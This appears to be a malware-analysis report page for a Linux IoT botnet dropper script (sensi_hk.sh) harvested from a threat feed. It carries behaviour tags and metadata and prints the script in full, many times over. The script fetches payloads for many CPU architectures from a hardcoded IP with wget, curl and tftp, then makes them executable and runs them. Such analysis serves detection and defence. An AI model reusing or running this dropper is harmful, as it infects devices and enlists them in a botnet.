813ecca5f5f3db59b5a1ff6979669d50347295cd4dbc8c7a233d1c0c8e6a35c2

SHELL

HOSTILE

813ecca5f5f3db59b5a1ff6979669d50347295cd4dbc8c7a233d1c0c8e6a35c2 · 100%

AI IoT botnet dropper script

Mal-ecule

O(C₄)H₄(F₃Cm₆Os₃Po₄)

Size 530 B download

First seen 2 days ago

Analyzed 1 day ago

Ecosystem linux

Source abuse.ch

Also detected by 1 source

Multi-architecture fallback payload dropper: sensi_hk.sh:0x9a

Multi-architecture protocol fallback execution: sensi_hk.sh:0x9a

Multi-fetch multi-arch payload dropper: sensi_hk.sh:0x9a

sensi_hk.sh shell

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \	Multi-architecture protocol fallback execution
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \	Multi-architecture fallback payload dropper
11	tftp -g -l d -r $1 $SERVER 2>/dev/null	Multi-protocol payload dropper (wget/tftp/ftpget/curl)
12	chmod 777 d 2>/dev/null	chmod 777 before local execution
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips	Multi-fetch multi-arch payload dropper
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

Objectives

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

Micro-behaviors

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

1	#!/bin/sh
2	SERVER="95.155.151.113"
3
4	cd /tmp \|\| cd /var \|\| cd /dev \|\| cd /; rm -rf d
5
6	dl() {
7	wget -q http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
8	/bin/busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
9	busybox wget http://$SERVER/d/$1 -O d 2>/dev/null \|\| \
10	curl -s -o d http://$SERVER/d/$1 2>/dev/null \|\| \
11	tftp -g -l d -r $1 $SERVER 2>/dev/null
12	chmod 777 d 2>/dev/null
13	./d hikvsn
14	rm -rf d
15	}
16
17	dl xd.mips
18	dl xd.mpsl
19	dl xd.arm
20	dl xd.arm5
21	dl xd.arm6
22	dl xd.arm7
23	dl xd.ppc
24	dl xd.spc
25	dl xd.m68k
26	dl xd.sh4

Metadata

Identity

SHA-256	813ecca5f5f3db59b5a1ff6979669d50347295cd4dbc8c7a233d1c0c8e6a35c2
Filename	sensi_hk.sh
Package	813ecca5f5f3db59b5a1ff6979669d50347295cd4dbc8c7a233d1c0c8e6a35c2

Origin

Source	harvest
Feed	malwarebazaar
Ecosystem	linux
Domain	abuse.ch

Timeline

First seen	2 Aug 2026 06:42 UTC
First analyzed	2 Aug 2026 22:44 UTC
Last analyzed	2 Aug 2026 22:44 UTC
Last updated	2 Aug 2026 22:44 UTC

Labeling

Label	bad
Label source	harvest
Traits version	e785a

Not seeing what you expected? Let us know